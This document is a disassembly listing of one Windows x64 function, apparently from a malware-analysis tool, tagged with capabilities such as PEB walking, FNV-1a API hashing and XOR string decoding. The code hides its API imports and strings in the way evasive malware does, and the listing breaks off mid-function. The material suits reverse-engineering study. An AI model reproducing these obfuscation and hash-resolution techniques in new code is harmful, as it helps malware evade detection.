Function at 0x1400038e0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x1590]
mov eax, 0x1690
call fcn.1400067d0
sub rsp, rax
mov rax, qword [0x140022018]
xor rax, rsp
mov qword [rbp + 0x1570], rax
mov rax, qword [0x140022ba8]
test rax, rax
jne 0x1400039ca
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400039a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400039a7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x1400039a2
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140003980
cmp r8d, 0x496ee8a1
je 0x1400039ac
test r9d, r9d
jne 0x140003960
mov rax, qword [rax]
jmp 0x140003930
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140022ba8], rax
mov r8, qword [0x140022b88]
mov edx, 1
xor ecx, ecx
call rax
mov qword [0x140022b80], rax
mov rax, qword [0x140022ba0]
test rax, rax
jne 0x140003aaa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003a87
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003a87
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003a82
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140003a60
cmp r8d, 0x5056df37
je 0x140003a8c
test r9d, r9d
jne 0x140003a40
mov rax, qword [rax]
jmp 0x140003a10
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140022ba0], rax
call rax
cmp eax, 0xb7
je 0x1400055ca
call fcn.1400028a0
test eax, eax
je 0x1400055ca
mov qword [rsp + 0x16b0], rsi
lea rax, [rbp - 0x80]
mov qword [0x140022b70], rax
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x16b8], r12
movabs r12, 0xb3ec8012936d5e5e
mov qword [0x140022b78], rax
movabs rax, 0x9c5d39e62f9bd5a5
mov qword [rbp + 0x50], rax
mov rax, qword [0x140022bf0]
mov qword [rsp + 0x16c0], r13
movabs r13, 0x9c0d39ab2fded5f1
mov qword [rbp + 0x58], r12
movdqa xmm0, xmmword [rbp + 0x50]
mov qword [rsp + 0x1688], r14
xor r14d, r14d
mov qword [rbp - 0x80], r13
mov esi, r14d
mov qword [rbp - 0x78], r12
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x50], xmm0
test rax, rax
jne 0x140003c0a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003be7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003be7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003be2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140003bc0
cmp r8d, 0x1511cfc1
je 0x140003bec
test r9d, r9d
jne 0x140003ba0
mov rax, qword [rax]
jmp 0x140003b70
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140022bf0], rax
lea r8, [rsp + 0x48]
mov edx, 0x1000
lea rcx, [rbp + 0x570]
call rax
test eax, eax
je 0x140003c58
mov eax, dword [rsp + 0x48]
shr eax, 2
test eax, eax
je 0x140003c58
lea rbx, [rbp + 0x570]
mov edi, eax
mov ecx, dword [rbx]
test ecx, ecx
je 0x140003c46
call fcn.140001c40
test eax, eax
je 0x140003c46
inc esi
add rbx, 4
sub rdi, 1
jne 0x140003c35
test esi, esi
jne 0x140005587
mov rax, qword [0x140022b98]
xorps xmm0, xmm0
mov qword [rsp + 0x1680], r15
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
movdqu xmmword [rsp + 0x30], xmm0
test rax, rax
jne 0x140003d3a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140003d17
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140003d17
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140003d12
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140003cf0
cmp r8d, 0x53b2070f
je 0x140003d1c
test r9d, r9d
jne 0x140003cd0
mov rax, qword [rax]
jmp 0x140003ca0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140022b98], rax
movabs rcx, 0xb27d4ddf47b0bc86
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x50], rcx
movabs rcx, 0xb3ec80129301323a
mov qword [rbp - 0x48], rcx
lea rcx, [rbp - 0x50]
movdqa xmm0, xmmword [rbp - 0x50]
mov qword [rbp - 0x78], r12
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x50], xmm0
call rax
mov qword [rsp + 0x48], rax
lea r8, [rsp + 0x48]
movabs rax, 0x9c7d39df2faad599
mov qword [rbp + 0x350], r13
mov qword [rbp - 0x40], rax
lea rdx, [rsp + 0x58]
movabs rax, 0xb3c3803d93575e2d
mov qword [rbp + 0x358], r12
mov qword [rbp - 0x38], rax
movabs rcx, 0x550876a526350a6
movdqa xmm0, xmmword [rbp - 0x40]
movabs rax, 0x918d7dbe316ff353
pxor xmm0, xmmword [rbp + 0x350]
mov qword [rbp - 0x30], rax
movabs rax, 0x15c5f3e55a110e15
mov qword [rbp - 0x28], rax
movabs rax, 0xa40a35d0af9c975b
movdqa xmm1, xmmword [rbp - 0x30]
mov qword [rbp - 0x20], rax
movabs rax, 0xb1ffa9276f696abd
mov qword [rbp - 0x18], rax
movabs rax, 0xe74b1184eea9dc18
mov qword [rbp - 0x10], rax
movabs rax, 0xf84da957d392a89e
mov qword [rbp - 8], rax
movabs rax, 0x876653236a06f68a
mov qword [rbp], rax
movabs rax, 0x91f97dcd310ef323
mov qword [rbp + 0x360], rax
movabs rax, 0x15abf38c5a730e70
mov qword [rbp + 0x368], rax
movabs rax, 0xa46735bfafff9775
pxor xmm1, xmmword [rbp + 0x360]
mov qword [rbp + 0x370], rax
movabs rax, 0xb188a9466f1b6a92
mov qword [rbp + 0x378], rax
movabs rax, 0xe71811d1eeecdc37
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [rbp - 0x20]
pxor xmm0, xmmword [rbp + 0x370]
mov qword [rbp + 0x380], rax
movabs rax, 0xf814a930d3d1a8e4
mov qword [rbp + 8], rcx
mov qword [rbp + 0x388], rax
movabs rax, 0x876653236a06f6f9
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [rbp - 0x10]
pxor xmm1, xmmword [rbp + 0x380]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [rbp]
mov qword [rbp + 0x398], rcx
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x390], rax
pxor xmm0, xmmword [rbp + 0x390]
movdqa xmmword [rbp], xmm0
movdqa xmmword [rbp - 0x10], xmm1
call fcn.1400055f0
mov edx, 0xf
mov rbx, qword [rsp + 0x38]
mov rcx, r14
mov qword [rbp - 0x58], rdx
mov rsi, r14
mov qword [rbp - 0x60], rcx
mov byte [rbp - 0x70], cl
lea r15, [rdx - 0x10]
cmp qword [rsp + 0x60], r14
jbe 0x140004558
movabs r13, 0x9c6839d32fbbd5df
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rsp + 0x58]
movzx r9d, byte [rax + rsi]
cmp r9b, 0xa
je 0x140003f93
cmp r9b, 0xd
je 0x140003f93
cmp rcx, rdx
jae 0x140003f7e
lea rax, [rcx + 1]
cmp rdx, 0x10
mov qword [rbp - 0x60], rax
lea rax, [rbp - 0x70]
cmovae rax, qword [rbp - 0x70]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], r14b
jmp 0x14000424e
xor r8d, r8d
lea rcx, [rbp - 0x70]
lea edx, [r8 + 1]
call fcn.1400016f0
jmp 0x14000424e
inc rcx
mov qword [rsp + 0x68], r14
mov eax, 2
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400066b0
cmp qword [rbp - 0x58], 0x10
lea r9, [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rsp + 0x68]
cmovae r9, qword [rbp - 0x70]
inc r8
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rdi, rax
call fcn.14000b798
cmp qword [rbp - 0x58], 0x10
lea rcx, [rbp - 0x70]
mov qword [rbp + 0x10], r13
movabs rax, 0x9c0d39ab2fded5f1
cmovae rcx, qword [rbp - 0x70]
mov qword [rbp + 0x18], r12
movdqa xmm0, xmmword [rbp + 0x10]
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x80], rax
mov byte [rcx], r14b
lea rcx, [rbp + 0x2f0]
mov qword [rbp - 0x78], r12
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x10], xmm0
call fcn.140002650
mov qword [rbp + 0x38], r12
lea rdx, [rbp + 0x30]
movabs rcx, 0x9c0d39ab2fded5ad
mov qword [rbp - 0x48], r12
mov qword [rbp + 0x30], rcx
mov r8, rax
movdqa xmm0, xmmword [rbp + 0x30]
movabs rcx, 0x9c0d39ab2fded5f1
mov qword [rbp - 0x50], rcx
lea rcx, [rbp + 0x2b0]
pxor xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x30], xmm0
call fcn.1400010a0
lea rcx, [rbp + 0x10]
mov r8, r15
inc r8
cmp word [rcx + r8*2], r14w
jne 0x140004070
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.140002350
mov qword [rbp - 0x10], r14
mov r8, r15
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r14w
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x18], 7
mov word [rax], r14w
nop dword [rax]
inc r8
cmp word [rdi + r8*2], r14w
jne 0x1400040c0
mov rdx, rdi
lea rcx, [rbp - 0x20]
call fcn.1400024d0
cmp rbx, qword [rsp + 0x40]
je 0x14000410a
movups xmm0, xmmword [rbp - 0x40]
movups xmm1, xmmword [rbp - 0x30]
movups xmmword [rbx], xmm0
movups xmm0, xmmword [rbp - 0x20]
movups xmmword [rbx + 0x10], xmm1
movups xmm1, xmmword [rbp - 0x10]
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm1
add rbx, 0x40
mov qword [rsp + 0x38], rbx
jmp 0x1400041a0
lea r8, [rbp - 0x40]
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.1400011f0
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x14000415b
mov rcx, qword [rbp - 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004156
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055d7
call fcn.1400066a8
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x14000419b
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004196
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055d7
call fcn.1400066a8
mov rbx, qword [rsp + 0x38]
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 8
jb 0x1400041e6
mov rcx, qword [rbp + 0x2b0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041e1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055d7
call fcn.1400066a8
mov rdx, qword [rbp + 0x308]
mov qword [rbp + 0x2c0], r14
mov qword [rbp + 0x2c8], 7
mov word [rbp + 0x2b0], r14w
cmp rdx, 8
jb 0x140004246
mov rcx, qword [rbp + 0x2f0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004241
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055d7
call fcn.1400066a8
mov rcx, rdi
call fcn.1400066a8
mov rcx, qword [rbp - 0x60]
inc rsi
cmp rsi, qword [rsp + 0x60]
jae 0x140004265
mov rdx, qword [rbp - 0x58]
jmp 0x140003f40
test rcx, rcx
je 0x14000454e
inc rcx
mov qword [rsp + 0x68], r14
mov eax, 2
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400066b0
cmp qword [rbp - 0x58], 0x10
lea r9, [rbp - 0x70]
mov r8, qword [rbp - 0x60]
lea rcx, [rsp + 0x68]
cmovae r9, qword [rbp - 0x70]
inc r8
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rdi, rax
call fcn.14000b798
cmp qword [rbp - 0x58], 0x10
lea rcx, [rbp - 0x70]
mov qword [rbp + 0x20], r13
movabs r13, 0x9c0d39ab2fded5f1
cmovae rcx, qword [rbp - 0x70]
mov qword [rbp + 0x28], r12
movdqa xmm0, xmmword [rbp + 0x20]
mov qword [rbp - 0x60], r14
mov byte [rcx], r14b
lea rcx, [rbp + 0x310]
mov qword [rbp - 0x80], r13
mov qword [rbp - 0x78], r12
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x20], xmm0
call fcn.140002650
mov qword [rbp + 0x48], r12
lea rdx, [rbp + 0x40]
movabs rcx, 0x9c0d39ab2fded5ad
mov qword [rbp - 0x80], r13
mov qword [rbp + 0x40], rcx
mov r8, rax
movdqa xmm0, xmmword [rbp + 0x40]
lea rcx, [rbp + 0x2d0]
mov qword [rbp - 0x78], r12
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x40], xmm0
call fcn.1400010a0
lea rcx, [rbp + 0x20]
mov r8, r15
inc r8
cmp word [rcx + r8*2], r14w
jne 0x140004341
lea rdx, [rbp + 0x20]
mov rcx, rax
call fcn.140002350
mov qword [rbp + 0x2a0], r14
mov r8, r15
mov qword [rbp + 0x2a8], 7
mov word [rbp + 0x290], r14w
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r14
movups xmmword [rbp + 0x270], xmm0
movups xmmword [rbp + 0x280], xmm1
mov qword [rax + 0x18], 7
mov word [rax], r14w
nop dword [rax]
inc r8
cmp word [rdi + r8*2], r14w
jne 0x1400043a0
mov rdx, rdi
lea rcx, [rbp + 0x290]
call fcn.1400024d0
cmp rbx, qword [rsp + 0x40]
je 0x1400043f9
movups xmm0, xmmword [rbp + 0x270]
movups xmm1, xmmword [rbp + 0x280]
movups xmmword [rbx], xmm0
movups xmm0, xmmword [rbp + 0x290]
movups xmmword [rbx + 0x10], xmm1
movups xmm1, xmmword [rbp + 0x2a0]
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm1
add rbx, 0x40
mov qword [rsp + 0x38], rbx
jmp 0x14000449e
lea r8, [rbp + 0x270]
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.1400011f0
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 8
jb 0x140004453
mov rcx, qword [rbp + 0x290]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000444e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055dd
call fcn.1400066a8
mov rdx, qword [rbp + 0x288]
cmp rdx, 8
jb 0x140004499
mov rcx, qword [rbp + 0x270]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004494
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055dd
call fcn.1400066a8
mov rbx, qword [rsp + 0x38]
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 8
jb 0x1400044e4
mov rcx, qword [rbp + 0x2d0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044df
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055dd
call fcn.1400066a8
mov rdx, qword [rbp + 0x328]
mov qword [rbp + 0x2e0], r14
mov qword [rbp + 0x2e8], 7
mov word [rbp + 0x2d0], r14w
cmp rdx, 8
jb 0x140004544
mov rcx, qword [rbp + 0x310]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000453f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400055dd
call fcn.1400066a8
mov rcx, rdi
call fcn.1400066a8
jmp 0x140004558
movabs r13, 0x9c0d39ab2fded5f1
mov rax, qword [0x140022bd0]
test rax, rax
jne 0x14000461f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400045f7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400045f7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400045f2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400045d0
cmp r8d, 0x41b1eab9
je 0x1400045fc
test r9d, r9d
jne 0x1400045b0
mov rax, qword [rax]
jmp 0x140004580
mov ecx, dword [rdi + 0x24]
mov rbx, qword [rsp + 0x38]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140022bd0], rax
movabs rcx, 0x9c6139ce2fb6d5a2
mov qword [rbp + 0x330], r13
mov qword [rbp + 0x80], rcx
movabs rdx, 0x91f97dcd310ef323
movabs rcx, 0xb3c28020935e5e32
mov qword [rbp + 0x340], rdx
mov qword [rbp + 0x88], rcx
movabs rcx, 0x91f97da13162f347
movdqa xmm0, xmmword [rbp + 0x80]
mov qword [rbp + 0x90], rcx
movabs rcx, 0x15abf38c5a730e70
mov qword [rbp + 0x98], rcx
movdqa xmm1, xmmword [rbp + 0x90]
mov qword [rbp + 0x348], rcx
lea rcx, [rbp + 0x80]
pxor xmm1, xmmword [rbp + 0x340]
mov qword [rbp + 0x338], r12
pxor xmm0, xmmword [rbp + 0x330]
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmmword [rbp + 0x80], xmm0
call rax
lea r8, [rbp + 0x50]
mov qword [rsp + 0x50], r14
lea rdx, [rsp + 0x50]
mov rdi, rax
lea rcx, [rsp + 0x70]
call fcn.14000b3a8
mov r15, qword [rsp + 0x30]
mov r13, rbx
sub r13, r15
mov r12d, r14d
sar r13, 6
test r13, r13
je 0x1400048d7
lea rsi, [r15 + 0x30]
mov rbx, 0xffffffffffffffff
cmp qword [rsi], 5
jbe 0x1400048bf
mov rax, qword [rsp + 0x70]
mov rcx, rbx
mov qword [rsp + 0x60], r14
nop word [rax + rax]
inc rcx
cmp word [rax + rcx*2], 0
jne 0x140004720
mov rax, qword [r15 + 0x10]
inc rax
add rcx, rax
mov eax, 2
mov qword [rsp + 0x50], rcx
inc rcx
mul rcx
cmovo rax, rbx
mov rcx, rax
call fcn.1400066b0
mov r8, qword [rsp + 0x50]
xor edx, edx
inc r8
mov rcx, rax
mov r14, rax
call fcn.140008450
mov rdx, qword [rsp + 0x50]
mov rcx, r14
mov r8, qword [rsp + 0x70]
inc rdx
call fcn.14000b1b4
cmp qword [rsi - 0x18], 8
lea r8, [rsi - 0x30]
jb 0x140004788
mov r8, qword [r8]
mov rdx, qword [rsp + 0x50]
mov rcx, r14
inc rdx
call fcn.14000b134
cmp qword [rsi + 8], 8
lea rcx, [rsi - 0x10]
jb 0x1400047a6
mov rcx, qword [rcx]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x58]
call fcn.1400055f0
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.140001f60
cmp qword [rsp + 0x60], 0x64
jbe 0x1400048ab
movsxd rax, dword [rdi + 0x3c]
xor r8d, r8d
mov r10d, dword [rax + rdi + 0x88]
mov r11d, dword [r10 + rdi + 0x20]
nop dword [rax]
nop word [rax + rax]
lea rax, [r11 + r8*4]
mov edx, 0x811c9dc5
mov ecx, dword [rax + rdi]
add rcx, rdi
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000482f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140004810
cmp edx, 0x19100bc9
je 0x140004834
inc r8d
jmp 0x1400047f0
mov ecx, dword [r10 + rdi + 0x24]
xor r9d, r9d
add rcx, rdi
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
movzx edx, word [rcx + r8*2]
mov r8, r14
mov ecx, dword [r10 + rdi + 0x1c]
add rcx, rdi
mov eax, dword [rcx + rdx*4]
movabs rcx, 0x9c6339ce2faed59e
mov qword [rbp + 0x60], rcx
movabs rdx, 0x9c0d39ab2fded5f1
movabs rcx, 0xb3ec8012936d5e5e
mov qword [rbp - 0x80], rdx
mov qword [rbp + 0x68], rcx
lea rdx, [rbp + 0x60]
movdqa xmm0, xmmword [rbp + 0x60]
add rax, rdi
mov qword [rbp - 0x78], rcx
xor ecx, ecx
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x60], xmm0
call rax
mov rcx, r14
mov qword [rsp + 0x60], 0
call fcn.1400066a8
xor r14d, r14d
inc r12d
add rsi, 0x40
movsxd rax, r12d
cmp rax, r13
jb 0x140004703
mov rbx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x70]
call fcn.1400066a8
mov rax, qword [0x140022b90]
test rax, rax
jne 0x1400049b4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140004987
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140004987
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004982
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140004960
cmp r8d, 0x2fa62ca8
je 0x14000498c
test r9d, r9d
jne 0x140004940
mov rax, qword [rax]
jmp 0x140004910
mov ecx, dword [rsi + 0x24]
mov rbx, qword [rsp + 0x38]
add rcx, r10
mov r15, qword [rsp + 0x30]
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x140022b90], rax
mov ecx, 0x36ee80
call rax
movabs rax, 0x9c2d39cf2fb3d592
mov qword [rbp + 0xa0], rax
movabs rax, 0xb39c8032930e5e71
mov qword [rbp + 0xa8], rax
movabs rax, 0x918b7da83179f34c
mov qword [rbp + 0xb0], rax
movabs rax, 0x15c7f3e95a1b0e03
mov qword [rbp + 0xb8], rax
movabs rax, 0xa4103592afdf9719
mov qword [rbp + 0xc0], rax
movabs rax, 0xb1a8a9666f2a6ab2
mov qword [rbp + 0xc8], rax
movabs rax, 0xe77d11a9ee89dc1a
mov qword [rbp + 0xd0], rax
movabs rax, 0xf86da952d3f1a887
mov qword [rbp + 0xd8], rax
movabs rax, 0x871553506a67f689
mov qword [rbp + 0xe0], rax
movabs rax, 0x570870f524e5086
mov qword [rbp + 0xe8], rax
movabs rax, 0x85e436e719f85128
mov qword [rbp + 0xf0], rax
movabs rax, 0xe4244427eb2af579
mov qword [rbp + 0xf8], rax
movabs rax, 0xea0fc07575eac3fe
mov qword [rbp + 0x100], rax
movabs rax, 0x8c289bd7db80e19b
mov qword [rbp + 0x108], rax
movabs rax, 0x21267b4863b83932
mov qword [rbp + 0x110], rax
movabs rax, 0xd7025a909f3492d
mov qword [rbp + 0x118], rax
movabs rax, 0xcc977599be4b29cd
mov qword [rbp + 0x120], rax
movabs rax, 0x7dd11a03493d0a2f
mov qword [rbp + 0x128], rax
movabs rax, 0xaf3af93f46efe5ff
mov qword [rbp + 0x130], rax
movabs rax, 0x8eb157fddbeaac41
mov qword [rbp + 0x138], rax
movabs rax, 0x81da0f2d870248c9
mov qword [rbp + 0x140], rax
movabs rax, 0xe22e64194f7d5463
mov qword [rbp + 0x148], rax
movabs rax, 0xe85421c386bb74a6
mov qword [rbp + 0x150], rax
movabs rax, 0xc03a0eb15a596435
mov qword [rbp + 0x158], rax
movabs rax, 0x8d2b1191ae68976a
mov qword [rbp + 0x160], rax
movabs rax, 0x452504f56501ecf7
mov qword [rbp + 0x168], rax
movabs rax, 0xb618f194c8bb3197
mov qword [rbp + 0x170], rax
movabs rax, 0x96ed213148f33789
mov qword [rbp + 0x178], rax
movabs rax, 0x9cfc9d2571f9edce
mov qword [rbp + 0x180], rax
movabs rax, 0x7f5987ab7304eab
mov qword [rbp + 0x188], rax
movabs rax, 0xf02deb784912f255
mov qword [rbp + 0x190], rax
movabs rax, 0xd28855dec8b23d
mov qword [rbp + 0x198], rax
movabs rax, 0x7e9d534996651df0
mov qword [rbp + 0x1a0], rax
movabs rax, 0x2f97f719ca8a82bf
mov qword [rbp + 0x1a8], rax
movabs rax, 0x1201676ff3380127
mov qword [rbp + 0x1b0], rax
movabs rax, 0x6c723158226690d1
mov qword [rbp + 0x1b8], rax
movabs rax, 0x6e2aab5d6ed385f6
mov qword [rbp + 0x1c0], rax
movabs rax, 0xb9bdac1e79777e73
mov qword [rbp + 0x1c8], rax
movabs rax, 0x9adafef342cf08b3
mov qword [rbp + 0x1d0], rax
movabs rax, 0x11568e2495805145
mov qword [rbp + 0x1d8], rax
movabs rdx, 0xf9760b333edd5da9
movabs rax, 0x4586f9c165620fd5
mov qword [rbp + 0x260], rdx
mov qword [rbp + 0x1e0], rax
movabs rcx, 0xab2ef37aa7cab1d6
